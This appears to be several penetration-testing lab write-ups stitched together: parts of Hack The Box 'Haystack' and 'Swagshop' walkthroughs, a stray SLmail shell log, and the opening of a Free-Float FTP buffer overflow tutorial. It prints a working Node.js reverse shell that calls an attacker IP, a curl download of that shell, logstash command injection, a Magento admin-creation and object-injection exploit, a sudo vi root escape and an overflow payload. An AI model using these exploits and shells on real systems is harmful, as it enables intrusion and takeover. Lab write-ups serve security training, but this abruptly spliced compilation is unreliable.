9200/tcp open http nginx 1.12.2
| http-methods:
|_ Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.75 seconds
Web Enumeration
On port 80 the index page had an image of a needle and nothing else:
<html><body><imgsrc="needle.jpg"/></body></html>
On port 9200 there was an elasticsearch instance running:
Elasticsearch is a distributed, RESTful search and analytics engine capable of addressing a growing number of use cases. As the heart of the Elastic Stack, it centrally stores your data so you can discover the expected and uncover the unexpected. –elastic.co
On port 80 I tried running gobuster but I got nothing:
Steg in needle.jpg, SSH creds from elasticsearch, User Flag
I downloaded the image from the index page to check if there’s any kind of steganography:
root@kali:~/Desktop/HTB/boxes/haystack# echo bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== | base64 -d
la aguja en el pajar es "clave"
root@kali:~/Desktop/HTB/boxes/haystack#
Translation:
la aguja en el pajar es "clave" => the needle in the haystack is "key"
Back to the elasticsearch instance I searched for the word clave and got some interesting quotes in Spanish with some base-64 encoded strings:
c:\PENTEST>curl http://10.10.10.115:9200/_search?q=clave
{"took":42,"timed_out":false,"_shards":{"total":11,"successful":11,"skipped":0,"failed":0},"hits":{"total":2,"max_score":5.9335938,"hits":[{"_index":"quotes","_type":"quote","_id":"45","_score":5.9335938,"_source":{"quote":"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "}},{"_index":"quotes","_type":"quote","_id":"111","_score":5.3459888,"_source":{"quote":"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="}}]}}
After translation and decoding:
Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg => I have to save the password for the machine: user: security
Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk= => This key cannot be lost, I keep it here: pass: spanish.is.key
We can ssh into the box with these creds security : spanish.is.key:
We owned user.
Shell as kibana
After getting ssh access I ran pspy to monitor the processes, I noticed that logstash was running as root:
Logstash is an open source, server-side data processing pipeline that ingests data from a multitude of sources simultaneously, transforms it, and then sends it to your favorite “stash.” –elastic.co
But as security I couldn’t read the configuration files of logstash:
As you can see, the user kibana can read them, so we need to be kibana and to be the user kibana we have to exploit the service itself.
By looking at the open ports we can see that port 5601 which is the default port for kibana is open:
Kibana lets you visualize your Elasticsearch data and navigate the Elastic Stack so you can do anything from tracking query load to understanding the way requests flow through your apps. –elastic.co
I forwarded the port:
PS C:\Users\jacco> ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 security@10.10.10.115's password: spanish.is.key
Last login: Thu Nov 14 08:43:20 2019 from 10.10.14.82
Last login: Thu Nov 14 08:43:20 2019 from 10.10.14.82
[security@haystack ~]$
I checked the version and found that it was 6.4.2:
After a quick search I found that this version is vulnerable to a local file inclusion vulnerability.
So I uploaded a js shell to /dev/shm:
[security@haystack conf.d]$ cd /dev/shm/
[security@haystack shm]$ curl http://10.10.xx.xx/shell.js > shell.js
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 383 100 383 0 0 382 0 0:00:01 0:00:01 --:--:-- 383
[security@haystack shm]$
shell.js:
(function(){varnet=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);varclient=newnet.Socket();client.connect(1337,"10.10.xx.xx",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return/a/;// Prevents the Node.js application form crashing})();
Then I applied the POC and got a reverse shell as kibana:
of course we can run this curl over the ssh tunnel ( note for java reverse shell, i needed to copy rev.js to rev2.js ( it only works once with 1 name caching thing on server likely)
By reading the input and filter configuration files and with the help of the documentation we will figure out what to do.
We need to create an input file of the type execute and put whatever command we need to execute in it, to create a valid execute input file it needs to be in /opt/kibana/ and named according to the following pattern logstash_[Anything]:
It also needs to pass the filter, we need to put Ejecutar comando : (translates to: Execute command :) before the command:
filter {
if [type] == "execute" {
grok {
match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
}
}
}
It uses the “exec” plugin to execute the command specified by the “comando” variable. This can be set to any command which will get executed within 10 seconds. Let’s try running whoami to see which user we’re running as. we output of the command whoami to /tmp/user. Checking after a few seconds, we see
bash-4.2$ ls -la
ls -la
total 12
drwxrwxr-x. 2 root kibana 62 jun 24 08:12 .
drwxr-xr-x. 3 root root 183 jun 18 22:15 ..
-rw-r-----. 1 root kibana 131 jun 20 10:59 filter.conf
-rw-r-----. 1 root kibana 186 jun 24 08:12 input.conf
-rw-r-----. 1 root kibana 109 jun 24 08:12 output.conf
bash-4.2$ echo 'Ejecutar comando : whoami > /tmp/user' > /opt/kibana/logstash_execute
<mando : whoami > /tmp/user' > /opt/kibana/logstash_execute
bash-4.2$ cat /tmp/user
cat /tmp/user
root
bash-4.2$
C:\Users\jacco>nc -lvp 4444
listening on [any] 4444 ...
10.10.10.115: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.82] from (UNKNOWN) [10.10.10.115] 42972: NO_DATA
bash: no hay control de trabajos en este shell
[root@haystack /]# id
id
uid=0(root) gid=0(root) grupos=0(root) contexto=system_u:system_r:unconfined_service_t:s0
[root@haystack /]# cd /root
cd /root
[root@haystack ~]# ls
ls
anaconda-ks.cfg
root.txt
vmware-tools
[root@haystack ~]# cat root.txt
cat root.txt
3f5*****d92
[root@haystack ~]#
Credits to : https://0xrick.github.io/hack-the-box/haystack/
Today we are going to solve another CTF challenge “Swagshop” which is available online for those who want to increase their skill in penetration testing and black box testing. Node is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Easy
Task: find user.txt and root.txt file on victim’s machine.
c:\PENTEST>nmap -Pn -sC -sV 10.10.10.140
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-13 16:08 W. Europe Standard Time
Stats: 0:00:11 elapsed; 0 hosts completed (0 up), 0 undergoing Host Discovery
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Stats: 0:00:12 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.05% done
Nmap scan report for 10.10.10.140
Host is up (0.027s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.64 seconds
Based on the ssh and Apache Versions, the host is likely Ubuntu Xenial (16.04).
Website – TCP 80
Site is a Magento store for HTB:
Directory Brute Force
gobuster finds a bunch of paths, but all seems related to Magento.
At the bottom of the page, I notice the copyright date of 2014:
That’s interesting, as if it’s that old, it should be vulnerable to a lot of exploits. Looing around at common Magento paths, I’ll see a different date on /index.php/admin/:
I can also check /RELEASE_NOTES.txt, but it only gives release notes up to version 1.7.0.2, and then it gives a url to visit for later version release notes, so this isn’t helpful:
All of this leads me to the conclusion that I don’t really know what version is running, but that I have a hunch that it could be older.
root@kali:~/htb/swagshop# python magento_createuser.py http://10.10.10.140
WORKED
Check http://10.10.10.140/admin with creds puck:iestyle
I can verify these creds by logging in at http://10.10.10.140/index.php/admin:
RCE #1 – PHP Object Injection
Now that I’m authenticated as administer, there’s another exploit that will come in handy that I found with searchsploit:
The authenticated RCE python script looked the most interesting.
For background on this bug, it’s a PHP Object Injection vulnerability, detailed by one of the researchers who found it here. PHP Object Injection is a class of bugs that falls under deserialization vulnerabilities. Basically, the server passes a php object into the page, and when the browser submits back to the server, it sends that object as a parameter. To prevent evil users from messing with the object, Magento uses a keyed hash to ensure integrity. However, the key for the hash is the install data, which can be retrieved from /app/etc/local.xml. This means that once I have that date, I can forge signed objects and inject my own code, which leads to RCE.
I’ll make a copy of the POC from searchsploit -m exploits/php/webapps/37811.pyIn the config section, I’ll have to update 3 fields:
# Config.
username = 'puckie'
password = 'style'
php_function = 'system' # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000' # This needs to be the exact date from /app/etc/local.xml
I got the date from the page as suggested:
root@kali:~/htb# curl -s http://10.10.10.140/app/etc/local.xml | grep date
<date><![CDATA[Wed, 08 May 2019 07:23:09 +0000]]></date>
root@kali:~/htb# rlwrap nc -lvp 4444
listening on [any] 4444 ...
10.10.10.140: inverse host lookup failed: Unknown host
connect to [10.10.14.82] from (UNKNOWN) [10.10.10.140] 56756
bash: cannot set terminal process group (1289): Inappropriate ioctl for device
bash: no job control in this shell
www-data@swagshop:/var/www/html$ python3 -c "import pty; pty.spawn('/bin/bash')"
<html$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@swagshop:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
www-data@swagshop:/var/www/html$
sudo -l shows I can run sudo with no password on vi in the web dir:
www-data@swagshop:/home/haris$ sudo -l
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
I can also use the example on GTFOBins, and get a shell from the command line:
www-data@swagshop:/var/www/html$ sudo vi /var/www/html/puckie -c ':!/bin/sh'
# id
id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
cat /root/root.txt
c2b0*****721
___ ___
/| |/|\| |\
/_| ´ |.` |_\ We are open! (Almost)
| |. |
| |. | Join the beta HTB Swag Store!
|___|.__| https://hackthebox.store/password
PS: Use root flag as password!
root@kali:~# rlwrap nc -lvp 443
listening on [any] 443 ...
connect to [192.168.1.194] from IE8WIN7.home [192.168.1.59] 49169
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Program Files\SLmail\System>whoami
whoami
nt authority\system
C:\Program Files\SLmail\System>
Hello, today I planned to exploit a basic window application as the name suggest it’s a FTP (Free-Float v1.0) which is having a stack overflow in one of the parameters today we are going to use it to execute the shellcode and hopefully at the end of the post you will know how to exploit a basic windows application.
Requirements :
Windows XP SP-2/3
Kali Linux (For msfvenom shellcode generation)
Free-Float FTP v 1.0
So first we need to install immunity debugger, free float FTP on the windows XP machine.
This is how the free float FTP server looks like, while you are trying to ping a Windows XP machine you might not be able to ping it, because you need to disable the firewall to connect to it and exploit it.
Basic about FTP
There’s something we know as “anonymous user” on a FTP server which is much like the default credentials to access the FTP in this case it’s
anonymous : anonymous
Now let’s write a python script to connect to it.
So as the image above says my FTP is running on 192.168.1.100 and default FTP port 21
Python 2.7.1 (r271:86832, Nov 27 2010, 18:30:46) [MSC v.1500 32 bit (Intel)] on win32
Type "copyright", "credits" or "license()" for more information.
>>> import socket,sys
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> port = 21
>>> s.connect(('192.168.1.100',21))
>>> s.recv(1024)
'220 FreeFloat Ftp Server (Version 1.00).\r\n'
>>> s.send("USER anonymous \n")
16
>>> s.recv(1024)
'331 Password required for anonymous .\r\n'
>>> s.send("PASS anonymous \n")
16
>>> s.recv(1024)
'230 User anonymous logged in.\r\n'
>>> junk = "A" * 1000
>>> s.send('MKD'+junk+'\n')
1004
>>> s.recv(1024)
"500 'MKDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA': command not u"
>>> s.send('QUIT \n')
6
>>> s.close
<bound method _socketobject.close of <socket._socketobject object at 0x00A66D50>>
>>>
So from the script above we can see after supplying USER anonymous and PASS anonymous we tried to create a directory by MKD <name> and after exiting we got an error.
Here the name is the payload which was 1000 * "A"
Let’s check the status of FTP on windows XP.
So as we can see that it crashed it means we know that the 1,000 A’s are sufficient to cause the overflow.
So next up, we need to figure out how much data goes to MKD <name> to over-ride the ESP
So for that I am going to use msf-pattern_create to create a unique length string that helps me identify the offset.